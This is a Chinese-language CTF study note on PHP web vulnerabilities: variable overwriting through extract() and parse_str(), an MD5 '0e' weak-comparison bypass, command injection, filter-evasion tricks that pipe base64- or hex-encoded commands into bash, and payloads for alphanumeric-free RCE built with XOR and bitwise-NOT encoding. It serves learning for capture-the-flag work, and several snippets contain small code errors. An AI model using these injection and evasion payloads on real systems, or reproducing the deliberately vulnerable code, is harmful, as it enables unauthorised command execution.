变量覆盖
用传参的值替换掉原有变量的值
运用函数:
Extract()
漏洞:
<?php
$arr = $_GET['arr'];
extract($arr);
@$d($_POST['a']);
>
传入arr数组中d的值然后再使用extract()函数将变量d的值给赋予再直接调用d变量名的函数即可是实现一些漏洞。例如:
Parse_str()
实例:
综合例题
<?php
if(!isset($_GET['id'])) {
show_source(__FILE__);
die;
}
include_once('flag.php');
$a = 'TESTCTF';
$id = $_GET['id'];
@parse_str($id);
if($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')){
die($flag);
}else{
die('emmm');
}
题解:
使用get传参传入id,并进行变量覆盖。然后看if里面的语句:a变为了数组,a[0]不能等于'QNKCDZO'并且a[0]的哈希值不能等于'QNKCDZO'。我们可以先看看这个字符串的哈希值为多少。0e830400451993494058024219903391发现是0e,是科学计数法,并且是弱类型比较,所以我们找到哈希值为0e开头的即可,所以得到payload:?id=a[0]=s878926199a
命令执行漏洞
命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如php中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
<?php
$username = $_GET('username');
system("mkdir $username");
mkdir是创建目录的函数。
如果正常传入username=abc不会产生漏洞,但如果传入abc;cat /flag此时有一个分号结束了创建目录这个命令但是后面还有恶意代码,这样子就会输出flag,这就是命令注入。
命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。命令注入攻击常用在向程序传入不安全参数(命令行参数,http头,cookie头)
漏洞位点
程序过滤不严谨,导致用户可以将代码注入并执行。
高危函数:eval(),assert(),preg_replace,call_user_func()等等
对于执行命令的函数,参数过滤不严谨,导致直接命令执行。
高危函数:system(),exec(),shell_exec,passthru(),pctnl_exec,popen(),proc_open()
联合执行
分号
cmd1;cmd2;cmd3
cmd1将首先运行,不管cmd1运行成功还是失败,cmd2都会运行,以此类推
&&
cmd1&&cmd2&&cmd3
只有在前一个命令执行成功结束时下一个命令才会执行
||
cmd1||cmd2||cmd3
前一个命令出现错误的时候才会运行下一个命令
|
cmd1 | cmd2
前一个命令的结果作为后一个命令的参数
例如:
echo xxx | base64
Bypass
当cat × 空格× /flag× 时就需要绕过
过滤空格
$IFS ${IFS} $IFS$9 < <>
用逗号实现空格功能:{cat,/flag.php}需要加括号。
过滤某些关键字
ca$@t fla$@g.php $@空变量绕过
ca\t fla\g.php 反斜线绕过
cat fla''g.php 两个单引号绕过
echo "Y2F0IHkxbmcucGhw" | base64 -d | bash bash 编码绕过
echo "6361742079316E672E706870" | xxd -r -p | bash hex编码绕过
cat fl[a]g.php 用[]匹配
cat fla* 用*匹配任意
内联执行
无字母数字RCE
例题:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match("/[a-z0-9]+/i",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
在php中可以通过("字符串")();的方式调用函数
方法
异或:
<?php
$a = "ls";
for($i = 0;$i < strlen($a);$i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for($i = 0;$i < strlen($a);$i++) {
echo"%ff";
}
通过赋予a不同值取得它的异或值即可不用字母数字就可以绕过
取反:
<?php
$a="phpinfo";
echo "~(";
for($i = 0;$i<strlen($a);$i++) {
echo "%".bin2hex(~$a[$i]);
}
echo ")";
与上处相同意思
?><?=`/???/???%20*`;
>?是结束前面的php执行
<? 是短标签可以省略php
<?= 表示 <? echo
为了输出才加上?><?=
``反引号意味着 shell_exec 执行系统命令
/???/??? * ?表示单个符号的任意, *表示多符号任意
/bin/cat flag.php
create_function
create_function(string $args,string $code) 创建函数的简单方式
<?php
$f=create_function('$a,$b','echo($a+$b);');
$f(1,2);
?>